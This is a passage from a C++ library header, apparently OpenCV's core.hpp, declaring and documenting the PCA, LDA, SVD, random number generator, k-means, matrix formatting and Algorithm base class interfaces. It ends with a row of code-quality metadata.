data is reclaimed and the new @ref eigenvalues, @ref eigenvectors and @ref
mean are allocated and computed.
The computed @ref eigenvalues are sorted from the largest to the smallest and
the corresponding @ref eigenvectors are stored as eigenvectors rows.
@param data input samples stored as the matrix rows or as the matrix
columns.
@param mean optional mean value; if the matrix is empty (noArray()),
the mean is computed from the data.
@param flags operation flags; currently the parameter is only used to
specify the data layout. (Flags)
@param maxComponents maximum number of components that PCA should
retain; by default, all the components are retained.
*/
PCA& operator()(InputArray data, InputArray mean, int flags, int maxComponents = 0);
/** @overload
@param data input samples stored as the matrix rows or as the matrix
columns.
@param mean optional mean value; if the matrix is empty (noArray()),
the mean is computed from the data.
@param flags operation flags; currently the parameter is only used to
specify the data layout. (PCA::Flags)
@param retainedVariance Percentage of variance that %PCA should retain.
Using this parameter will let the %PCA decided how many components to
retain but it will always keep at least 2.
*/
PCA& operator()(InputArray data, InputArray mean, int flags, double retainedVariance);
/** @brief Projects vector(s) to the principal component subspace.
The methods project one or more vectors to the principal component
subspace, where each vector projection is represented by coefficients in
the principal component basis. The first form of the method returns the
matrix that the second form writes to the result. So the first form can
be used as a part of expression while the second form can be more
efficient in a processing loop.
@param vec input vector(s); must have the same dimensionality and the
same layout as the input data used at %PCA phase, that is, if
DATA_AS_ROW are specified, then `vec.cols==data.cols`
(vector dimensionality) and `vec.rows` is the number of vectors to
project, and the same is true for the PCA::DATA_AS_COL case.
*/
Mat project(InputArray vec) const;
/** @overload
@param vec input vector(s); must have the same dimensionality and the
same layout as the input data used at PCA phase, that is, if
DATA_AS_ROW are specified, then `vec.cols==data.cols`
(vector dimensionality) and `vec.rows` is the number of vectors to
project, and the same is true for the PCA::DATA_AS_COL case.
@param result output vectors; in case of PCA::DATA_AS_COL, the
output matrix has as many columns as the number of input vectors, this
means that `result.cols==vec.cols` and the number of rows match the
number of principal components (for example, `maxComponents` parameter
passed to the constructor).
*/
void project(InputArray vec, OutputArray result) const;
/** @brief Reconstructs vectors from their PC projections.
The methods are inverse operations to PCA::project. They take PC
coordinates of projected vectors and reconstruct the original vectors.
Unless all the principal components have been retained, the
reconstructed vectors are different from the originals. But typically,
the difference is small if the number of components is large enough (but
still much smaller than the original vector dimensionality). As a
result, PCA is used.
@param vec coordinates of the vectors in the principal component
subspace, the layout and size are the same as of PCA::project output
vectors.
*/
Mat backProject(InputArray vec) const;
/** @overload
@param vec coordinates of the vectors in the principal component
subspace, the layout and size are the same as of PCA::project output
vectors.
@param result reconstructed vectors; the layout and size are the same as
of PCA::project input vectors.
*/
void backProject(InputArray vec, OutputArray result) const;
/** @brief write PCA objects
Writes @ref eigenvalues @ref eigenvectors and @ref mean to specified FileStorage
*/
void write(FileStorage& fs) const;
/** @brief load PCA objects
Loads @ref eigenvalues @ref eigenvectors and @ref mean from specified FileNode
*/
void read(const FileNode& fn);
Mat eigenvectors; //!< eigenvectors of the covariation matrix
Mat eigenvalues; //!< eigenvalues of the covariation matrix
Mat mean; //!< mean value subtracted before the projection and added after the back projection
};
/** @example samples/cpp/pca.cpp
An example using %PCA for dimensionality reduction while maintaining an amount of variance
*/
/** @example samples/cpp/tutorial_code/ml/introduction_to_pca/introduction_to_pca.cpp
Check @ref tutorial_introduction_to_pca "the corresponding tutorial" for more details
*/
/**
@brief Linear Discriminant Analysis
@todo document this class
*/
class CV_EXPORTS LDA
{
public:
/** @brief constructor
Initializes a LDA with num_components (default 0).
*/
explicit LDA(int num_components = 0);
/** Initializes and performs a Discriminant Analysis with Fisher's
Optimization Criterion on given data in src and corresponding labels
in labels. If 0 (or less) number of components are given, they are
automatically determined for given data in computation.
*/
LDA(InputArrayOfArrays src, InputArray labels, int num_components = 0);
/** Serializes this object to a given filename.
*/
void save(const String& filename) const;
/** Deserializes this object from a given filename.
*/
void load(const String& filename);
/** Serializes this object to a given cv::FileStorage.
*/
void save(FileStorage& fs) const;
/** Deserializes this object from a given cv::FileStorage.
*/
void load(const FileStorage& node);
/** destructor
*/
~LDA();
/** Compute the discriminants for data in src (row aligned) and labels.
*/
void compute(InputArrayOfArrays src, InputArray labels);
/** Projects samples into the LDA subspace.
src may be one or more row aligned samples.
*/
Mat project(InputArray src);
/** Reconstructs projections from the LDA subspace.
src may be one or more row aligned projections.
*/
Mat reconstruct(InputArray src);
/** Returns the eigenvectors of this LDA.
*/
Mat eigenvectors() const { return _eigenvectors; }
/** Returns the eigenvalues of this LDA.
*/
Mat eigenvalues() const { return _eigenvalues; }
static Mat subspaceProject(InputArray W, InputArray mean, InputArray src);
static Mat subspaceReconstruct(InputArray W, InputArray mean, InputArray src);
protected:
int _num_components;
Mat _eigenvectors;
Mat _eigenvalues;
void lda(InputArrayOfArrays src, InputArray labels);
};
/** @brief Singular Value Decomposition
Class for computing Singular Value Decomposition of a floating-point
matrix. The Singular Value Decomposition is used to solve least-square
problems, under-determined linear systems, invert matrices, compute
condition numbers, and so on.
If you want to compute a condition number of a matrix or an absolute value of
its determinant, you do not need `u` and `vt`. You can pass
flags=SVD::NO_UV|... . Another flag SVD::FULL_UV indicates that full-size u
and vt must be computed, which is not necessary most of the time.
@sa invert, solve, eigen, determinant
*/
class CV_EXPORTS SVD
{
public:
enum Flags {
/** allow the algorithm to modify the decomposed matrix; it can save space and speed up
processing. currently ignored. */
MODIFY_A = 1,
/** indicates that only a vector of singular values `w` is to be processed, while u and vt
will be set to empty matrices */
NO_UV = 2,
/** when the matrix is not square, by default the algorithm produces u and vt matrices of
sufficiently large size for the further A reconstruction; if, however, FULL_UV flag is
specified, u and vt will be full-size square orthogonal matrices.*/
FULL_UV = 4
};
/** @brief the default constructor
initializes an empty SVD structure
*/
SVD();
/** @overload
initializes an empty SVD structure and then calls SVD::operator()
@param src decomposed matrix. The depth has to be CV_32F or CV_64F.
@param flags operation flags (SVD::Flags)
*/
SVD( InputArray src, int flags = 0 );
/** @brief the operator that performs SVD. The previously allocated u, w and vt are released.
The operator performs the singular value decomposition of the supplied
matrix. The u,`vt` , and the vector of singular values w are stored in
the structure. The same SVD structure can be reused many times with
different matrices. Each time, if needed, the previous u,`vt` , and w
are reclaimed and the new matrices are created, which is all handled by
Mat::create.
@param src decomposed matrix. The depth has to be CV_32F or CV_64F.
@param flags operation flags (SVD::Flags)
*/
SVD& operator ()( InputArray src, int flags = 0 );
/** @brief decomposes matrix and stores the results to user-provided matrices
The methods/functions perform SVD of matrix. Unlike SVD::SVD constructor
and SVD::operator(), they store the results to the user-provided
matrices:
@code{.cpp}
Mat A, w, u, vt;
SVD::compute(A, w, u, vt);
@endcode
@param src decomposed matrix. The depth has to be CV_32F or CV_64F.
@param w calculated singular values
@param u calculated left singular vectors
@param vt transposed matrix of right singular vectors
@param flags operation flags - see SVD::Flags.
*/
static void compute( InputArray src, OutputArray w,
OutputArray u, OutputArray vt, int flags = 0 );
/** @overload
computes singular values of a matrix
@param src decomposed matrix. The depth has to be CV_32F or CV_64F.
@param w calculated singular values
@param flags operation flags - see SVD::Flags.
*/
static void compute( InputArray src, OutputArray w, int flags = 0 );
/** @brief performs back substitution
*/
static void backSubst( InputArray w, InputArray u,
InputArray vt, InputArray rhs,
OutputArray dst );
/** @brief solves an under-determined singular linear system
The method finds a unit-length solution x of a singular linear system
A\*x = 0. Depending on the rank of A, there can be no solutions, a
single solution or an infinite number of solutions. In general, the
algorithm solves the following problem:
\f[dst = \arg \min _{x: \| x \| =1} \| src \cdot x \|\f]
@param src left-hand-side matrix.
@param dst found solution.
*/
static void solveZ( InputArray src, OutputArray dst );
/** @brief performs a singular value back substitution.
The method calculates a back substitution for the specified right-hand
side:
\f[\texttt{x} = \texttt{vt} ^T \cdot diag( \texttt{w} )^{-1} \cdot \texttt{u} ^T \cdot \texttt{rhs} \sim \texttt{A} ^{-1} \cdot \texttt{rhs}\f]
Using this technique you can either get a very accurate solution of the
convenient linear system, or the best (in the least-squares terms)
pseudo-solution of an overdetermined linear system.
@param rhs right-hand side of a linear system (u\*w\*v')\*dst = rhs to
be solved, where A has been previously decomposed.
@param dst found solution of the system.
@note Explicit SVD with the further back substitution only makes sense
if you need to solve many linear systems with the same left-hand side
(for example, src ). If all you need is to solve a single system
(possibly with multiple rhs immediately available), simply call solve
add pass #DECOMP_SVD there. It does absolutely the same thing.
*/
void backSubst( InputArray rhs, OutputArray dst ) const;
/** @todo document */
template<typename _Tp, int m, int n, int nm> static
void compute( const Matx<_Tp, m, n>& a, Matx<_Tp, nm, 1>& w, Matx<_Tp, m, nm>& u, Matx<_Tp, n, nm>& vt );
/** @todo document */
template<typename _Tp, int m, int n, int nm> static
void compute( const Matx<_Tp, m, n>& a, Matx<_Tp, nm, 1>& w );
/** @todo document */
template<typename _Tp, int m, int n, int nm, int nb> static
void backSubst( const Matx<_Tp, nm, 1>& w, const Matx<_Tp, m, nm>& u, const Matx<_Tp, n, nm>& vt, const Matx<_Tp, m, nb>& rhs, Matx<_Tp, n, nb>& dst );
Mat u, w, vt;
};
/** @brief Random Number Generator
Random number generator. It encapsulates the state (currently, a 64-bit
integer) and has methods to return scalar random values and to fill
arrays with random values. Currently it supports uniform and Gaussian
(normal) distributions. The generator uses Multiply-With-Carry
algorithm, introduced by G. Marsaglia (
<http://en.wikipedia.org/wiki/Multiply-with-carry> ).
Gaussian-distribution random numbers are generated using the Ziggurat
algorithm ( <http://en.wikipedia.org/wiki/Ziggurat_algorithm> ),
introduced by G. Marsaglia and W. W. Tsang.
*/
class CV_EXPORTS RNG
{
public:
enum { UNIFORM = 0,
NORMAL = 1
};
/** @brief constructor
These are the RNG constructors. The first form sets the state to some
pre-defined value, equal to 2\*\*32-1 in the current implementation. The
second form sets the state to the specified value. If you passed state=0
, the constructor uses the above default value instead to avoid the
singular random number sequence, consisting of all zeros.
*/
RNG();
/** @overload
@param state 64-bit value used to initialize the RNG.
*/
RNG(uint64 state);
/**The method updates the state using the MWC algorithm and returns the
next 32-bit random number.*/
unsigned next();
/**Each of the methods updates the state using the MWC algorithm and
returns the next random number of the specified type. In case of integer
types, the returned number is from the available value range for the
specified type. In case of floating-point types, the returned value is
from [0,1) range.
*/
operator uchar();
/** @overload */
operator schar();
/** @overload */
operator ushort();
/** @overload */
operator short();
/** @overload */
operator unsigned();
/** @overload */
operator int();
/** @overload */
operator float();
/** @overload */
operator double();
/** @brief returns a random integer sampled uniformly from [0, N).
The methods transform the state using the MWC algorithm and return the
next random number. The first form is equivalent to RNG::next . The
second form returns the random number modulo N , which means that the
result is in the range [0, N) .
*/
unsigned operator ()();
/** @overload
@param N upper non-inclusive boundary of the returned random number.
*/
unsigned operator ()(unsigned N);
/** @brief returns uniformly distributed integer random number from [a,b) range
The methods transform the state using the MWC algorithm and return the
next uniformly-distributed random number of the specified type, deduced
from the input parameter type, from the range [a, b) . There is a nuance
illustrated by the following sample:
@code{.cpp}
RNG rng;
// always produces 0
double a = rng.uniform(0, 1);
// produces double from [0, 1)
double a1 = rng.uniform((double)0, (double)1);
// produces float from [0, 1)
float b = rng.uniform(0.f, 1.f);
// produces double from [0, 1)
double c = rng.uniform(0., 1.);
// may cause compiler error because of ambiguity:
// RNG::uniform(0, (int)0.999999)? or RNG::uniform((double)0, 0.99999)?
double d = rng.uniform(0, 0.999999);
@endcode
The compiler does not take into account the type of the variable to
which you assign the result of RNG::uniform . The only thing that
matters to the compiler is the type of a and b parameters. So, if you
want a floating-point random number, but the range boundaries are
integer numbers, either put dots in the end, if they are constants, or
use explicit type cast operators, as in the a1 initialization above.
@param a lower inclusive boundary of the returned random number.
@param b upper non-inclusive boundary of the returned random number.
*/
int uniform(int a, int b);
/** @overload */
float uniform(float a, float b);
/** @overload */
double uniform(double a, double b);
/** @brief Fills arrays with random numbers.
@param mat 2D or N-dimensional matrix; currently matrices with more than
4 channels are not supported by the methods, use Mat::reshape as a
possible workaround.
@param distType distribution type, RNG::UNIFORM or RNG::NORMAL.
@param a first distribution parameter; in case of the uniform
distribution, this is an inclusive lower boundary, in case of the normal
distribution, this is a mean value.
@param b second distribution parameter; in case of the uniform
distribution, this is a non-inclusive upper boundary, in case of the
normal distribution, this is a standard deviation (diagonal of the
standard deviation matrix or the full standard deviation matrix).
@param saturateRange pre-saturation flag; for uniform distribution only;
if true, the method will first convert a and b to the acceptable value
range (according to the mat datatype) and then will generate uniformly
distributed random numbers within the range [saturate(a), saturate(b)),
if saturateRange=false, the method will generate uniformly distributed
random numbers in the original range [a, b) and then will saturate them,
it means, for example, that
<tt>theRNG().fill(mat_8u, RNG::UNIFORM, -DBL_MAX, DBL_MAX)</tt> will likely
produce array mostly filled with 0's and 255's, since the range (0, 255)
is significantly smaller than [-DBL_MAX, DBL_MAX).
Each of the methods fills the matrix with the random values from the
specified distribution. As the new numbers are generated, the RNG state
is updated accordingly. In case of multiple-channel images, every
channel is filled independently, which means that RNG cannot generate
samples from the multi-dimensional Gaussian distribution with
non-diagonal covariance matrix directly. To do that, the method
generates samples from multi-dimensional standard Gaussian distribution
with zero mean and identity covariation matrix, and then transforms them
using transform to get samples from the specified Gaussian distribution.
*/
void fill( InputOutputArray mat, int distType, InputArray a, InputArray b, bool saturateRange = false );
/** @brief Returns the next random number sampled from the Gaussian distribution
@param sigma standard deviation of the distribution.
The method transforms the state using the MWC algorithm and returns the
next random number from the Gaussian distribution N(0,sigma) . That is,
the mean value of the returned random numbers is zero and the standard
deviation is the specified sigma .
*/
double gaussian(double sigma);
uint64 state;
bool operator ==(const RNG& other) const;
};
/** @brief Mersenne Twister random number generator
Inspired by http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/MT2002/CODES/mt19937ar.c
@todo document
*/
class CV_EXPORTS RNG_MT19937
{
public:
RNG_MT19937();
RNG_MT19937(unsigned s);
void seed(unsigned s);
unsigned next();
operator int();
operator unsigned();
operator float();
operator double();
unsigned operator ()(unsigned N);
unsigned operator ()();
/** @brief returns uniformly distributed integer random number from [a,b) range*/
int uniform(int a, int b);
/** @brief returns uniformly distributed floating-point random number from [a,b) range*/
float uniform(float a, float b);
/** @brief returns uniformly distributed double-precision floating-point random number from [a,b) range*/
double uniform(double a, double b);
private:
enum PeriodParameters {N = 624, M = 397};
unsigned state[N];
int mti;
};
//! @} core_array
//! @addtogroup core_cluster
//! @{
/** @example samples/cpp/kmeans.cpp
An example on K-means clustering
*/
/** @brief Finds centers of clusters and groups input samples around the clusters.
The function kmeans implements a k-means algorithm that finds the centers of cluster_count clusters
and groups the input samples around the clusters. As an output, \f$\texttt{bestLabels}_i\f$ contains a
0-based cluster index for the sample stored in the \f$i^{th}\f$ row of the samples matrix.
@note
- (Python) An example on K-means clustering can be found at
opencv_source_code/samples/python/kmeans.py
@param data Data for clustering. An array of N-Dimensional points with float coordinates is needed.
Examples of this array can be:
- Mat points(count, 2, CV_32F);
- Mat points(count, 1, CV_32FC2);
- Mat points(1, count, CV_32FC2);
- std::vector\<cv::Point2f\> points(sampleCount);
@param K Number of clusters to split the set by.
@param bestLabels Input/output integer array that stores the cluster indices for every sample.
@param criteria The algorithm termination criteria, that is, the maximum number of iterations and/or
the desired accuracy. The accuracy is specified as criteria.epsilon. As soon as each of the cluster
centers moves by less than criteria.epsilon on some iteration, the algorithm stops.
@param attempts Flag to specify the number of times the algorithm is executed using different
initial labellings. The algorithm returns the labels that yield the best compactness (see the last
function parameter).
@param flags Flag that can take values of cv::KmeansFlags
@param centers Output matrix of the cluster centers, one row per each cluster center.
@return The function returns the compactness measure that is computed as
\f[\sum _i \| \texttt{samples} _i - \texttt{centers} _{ \texttt{labels} _i} \| ^2\f]
after every attempt. The best (minimum) value is chosen and the corresponding labels and the
compactness value are returned by the function. Basically, you can use only the core of the
function, set the number of attempts to 1, initialize labels each time using a custom algorithm,
pass them with the ( flags = #KMEANS_USE_INITIAL_LABELS ) flag, and then choose the best
(most-compact) clustering.
*/
CV_EXPORTS_W double kmeans( InputArray data, int K, InputOutputArray bestLabels,
TermCriteria criteria, int attempts,
int flags, OutputArray centers = noArray() );
//! @} core_cluster
//! @addtogroup core_basic
//! @{
/////////////////////////////// Formatted output of cv::Mat ///////////////////////////
/** @todo document */
class CV_EXPORTS Formatted
{
public:
virtual const char* next() = 0;
virtual void reset() = 0;
virtual ~Formatted();
};
/** @todo document */
class CV_EXPORTS Formatter
{
public:
enum FormatType {
FMT_DEFAULT = 0,
FMT_MATLAB = 1,
FMT_CSV = 2,
FMT_PYTHON = 3,
FMT_NUMPY = 4,
FMT_C = 5
};
virtual ~Formatter();
virtual Ptr<Formatted> format(const Mat& mtx) const = 0;
virtual void set16fPrecision(int p = 4) = 0;
virtual void set32fPrecision(int p = 8) = 0;
virtual void set64fPrecision(int p = 16) = 0;
virtual void setMultiline(bool ml = true) = 0;
static Ptr<Formatter> get(Formatter::FormatType fmt = FMT_DEFAULT);
};
static inline
String& operator << (String& out, Ptr<Formatted> fmtd)
{
fmtd->reset();
for(const char* str = fmtd->next(); str; str = fmtd->next())
out += cv::String(str);
return out;
}
static inline
String& operator << (String& out, const Mat& mtx)
{
return out << Formatter::get()->format(mtx);
}
//////////////////////////////////////// Algorithm ////////////////////////////////////
class CV_EXPORTS Algorithm;
template<typename _Tp, typename _EnumTp = void> struct ParamType {};
/** @brief This is a base class for all more or less complex algorithms in OpenCV
especially for classes of algorithms, for which there can be multiple implementations. The examples
are stereo correspondence (for which there are algorithms like block matching, semi-global block
matching, graph-cut etc.), background subtraction (which can be done using mixture-of-gaussians
models, codebook-based algorithm etc.), optical flow (block matching, Lucas-Kanade, Horn-Schunck
etc.).
Here is example of SimpleBlobDetector use in your application via Algorithm interface:
@snippet snippets/core_various.cpp Algorithm
*/
class CV_EXPORTS_W Algorithm
{
public:
Algorithm();
virtual ~Algorithm();
/** @brief Clears the algorithm state
*/
CV_WRAP virtual void clear() {}
/** @brief Stores algorithm parameters in a file storage
*/
virtual void write(FileStorage& fs) const { CV_UNUSED(fs); }
/** @brief simplified API for language bindings
* @overload
*/
CV_WRAP void write(const Ptr<FileStorage>& fs, const String& name = String()) const;
/** @brief Reads algorithm parameters from a file storage
*/
CV_WRAP virtual void read(const FileNode& fn) { CV_UNUSED(fn); }
/** @brief Returns true if the Algorithm is empty (e.g. in the very beginning or after unsuccessful read
*/
CV_WRAP virtual bool empty() const { return false; }
/** @brief Reads algorithm from the file node
This is static template method of Algorithm. It's usage is following (in the case of SVM):
@code
cv::FileStorage fsRead("example.xml", FileStorage::READ);
Ptr<SVM> svm = Algorithm::read<SVM>(fsRead.root());
@endcode
In order to make this method work, the derived class must overwrite Algorithm::read(const
FileNode& fn) and also have static create() method without parameters
(or with all the optional parameters)
*/
template<typename _Tp> static Ptr<_Tp> read(const FileNode& fn)
{
Ptr<_Tp> obj = _Tp::create();
obj->read(fn);
return !obj->empty() ? obj : Ptr<_Tp>();
}
/** @brief Loads algorithm from the file
@param filename Name of the file to read.
@param objname The optional name of the node to read (if empty, the first top-level node will be used)
This is static template method of Algorithm. It's usage is following (in the case of SVM):
@code
Ptr<SVM> svm = Algorithm::load<SVM>("my_svm_model.xml");
@endcode
In order to make this method work, the derived class must overwrite Algorithm::read(const
FileNode& fn).
*/
template<typename _Tp> static Ptr<_Tp> load(const String& filename, const String& objname=String())
{
FileStorage fs(filename, FileStorage::READ);
CV_Assert(fs.isOpened());
FileNode fn = objname.empty() ? fs.getFirstTopLevelNode() : fs[objname];
if (fn.empty()) return Ptr<_Tp>();
Ptr<_Tp> obj = _Tp::create();
obj->read(fn);
return !obj->empty() ? obj : Ptr<_Tp>();
}
/** @brief Loads algorithm from a String
@param strModel The string variable containing the model you want to load.
@param objname The optional name of the node to read (if empty, the first top-level node will be used)
This is static template method of Algorithm. It's usage is following (in the case of SVM):
@code
Ptr<SVM> svm = Algorithm::loadFromString<SVM>(myStringModel);
@endcode
*/
template<typename _Tp> static Ptr<_Tp> loadFromString(const String& strModel, const String& objname=String())
{
FileStorage fs(strModel, FileStorage::READ + FileStorage::MEMORY);
FileNode fn = objname.empty() ? fs.getFirstTopLevelNode() : fs[objname];
Ptr<_Tp> obj = _Tp::create();
obj->read(fn);
return !obj->empty() ? obj : Ptr<_Tp>();
}
/** Saves the algorithm to a file.
In order to make this method work, the derived class must implement Algorithm::write(FileStorage& fs). */
CV_WRAP virtual void save(const String& filename) const;
/** Returns the algorithm string identifier.
This string is used as top level xml/yml node tag when the object is saved to a file or string. */
CV_WRAP virtual String getDefaultName() const;
protected:
void writeFormat(FileStorage& fs) const;
};
enum struct Param {
INT=0, BOOLEAN=1, REAL=2, STRING=3, MAT=4, MAT_VECTOR=5, ALGORITHM=6, FLOAT=7,
UNSIGNED_INT=8, UINT64=9, UCHAR=11, SCALAR=12
};
template<> struct ParamType<bool>
{
typedef bool const_param_type;
typedef bool member_type;
static const Param type = Param::BOOLEAN;
};
template<> struct ParamType<int>
{
typedef int const_param_type;
typedef int member_type;
static const Param type = Param::INT;
};
template<> struct ParamType<double>
{
typedef double const_param_type;
typedef double member_type;
static const Param type = Param::REAL;
};
template<> struct ParamType<String>
{
typedef const String& const_param_type;
typedef String member_type;
static const Param type = Param::STRING;
};
template<> struct ParamType<Mat>
{
typedef const Mat& const_param_type;
typedef Mat member_type;
static const Param type = Param::MAT;
};
template<> struct ParamType<std::vector<Mat> >
{
typedef const std::vector<Mat>& const_param_type;
typedef std::vector<Mat> member_type;
static const Param type = Param::MAT_VECTOR;
};
template<> struct ParamType<Algorithm>
{
typedef const Ptr<Algorithm>& const_param_type;
typedef Ptr<Algorithm> member_type;
static const Param type = Param::ALGORITHM;
};
template<> struct ParamType<float>
{
typedef float const_param_type;
typedef float member_type;
static const Param type = Param::FLOAT;
};
template<> struct ParamType<unsigned>
{
typedef unsigned const_param_type;
typedef unsigned member_type;
static const Param type = Param::UNSIGNED_INT;
};
template<> struct ParamType<uint64>
{
typedef uint64 const_param_type;
typedef uint64 member_type;
static const Param type = Param::UINT64;
};
template<> struct ParamType<uchar>
{
typedef uchar const_param_type;
typedef uchar member_type;
static const Param type = Param::UCHAR;
};
template<> struct ParamType<Scalar>
{
typedef const Scalar& const_param_type;
typedef Scalar member_type;
static const Param type = Param::SCALAR;
};
template<typename _Tp>
struct ParamType<_Tp, typename std::enable_if< std::is_enum<_Tp>::value >::type>
{
typedef typename std::underlying_type<_Tp>::type const_param_type;
typedef typename std::underlying_type<_Tp>::type member_type;
static const Param type = Param::INT;
};
//! @} core_basic
} //namespace cv
#include "opencv2/core/operations.hpp"
#include "opencv2/core/cvstd.inl.hpp"
#include "opencv2/core/utility.hpp"
#include "opencv2/core/optim.hpp"
#include "opencv2/core/ovx.hpp"
#endif /*OPENCV_CORE_HPP*/
| 151,612 | core | hpp | en | cpp | code | {"qsc_code_num_words": 23486, "qsc_code_num_chars": 151612.0, "qsc_code_mean_word_length": 4.56804053, "qsc_code_frac_words_unique": 0.07736524, "qsc_code_frac_chars_top_2grams": 0.01053269, "qsc_code_frac_chars_top_3grams": 0.00838887, "qsc_code_frac_chars_top_4grams": 0.00926504, "qsc_code_frac_chars_dupe_5grams": 0.44054621, "qsc_code_frac_chars_dupe_6grams": 0.38715571, "qsc_code_frac_chars_dupe_7grams": 0.33867735, "qsc_code_frac_chars_dupe_8grams": 0.3007317, "qsc_code_frac_chars_dupe_9grams": 0.27848255, "qsc_code_frac_chars_dupe_10grams": 0.25669945, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01465783, "qsc_code_frac_chars_whitespace": 0.19857927, "qsc_code_size_file_byte": 151612.0, "qsc_code_num_lines": 3297.0, "qsc_code_num_chars_line_max": 792.0, "qsc_code_num_chars_line_mean": 45.9848347, "qsc_code_frac_chars_alphabet": 0.86830995, "qsc_code_frac_chars_comments": 0.84187927, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.19675456, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01334835, "qsc_code_frac_chars_long_word_length": 0.01084553, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00181984, "qsc_code_frac_lines_assert": 0.0020284, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.36916836, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.40567951, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
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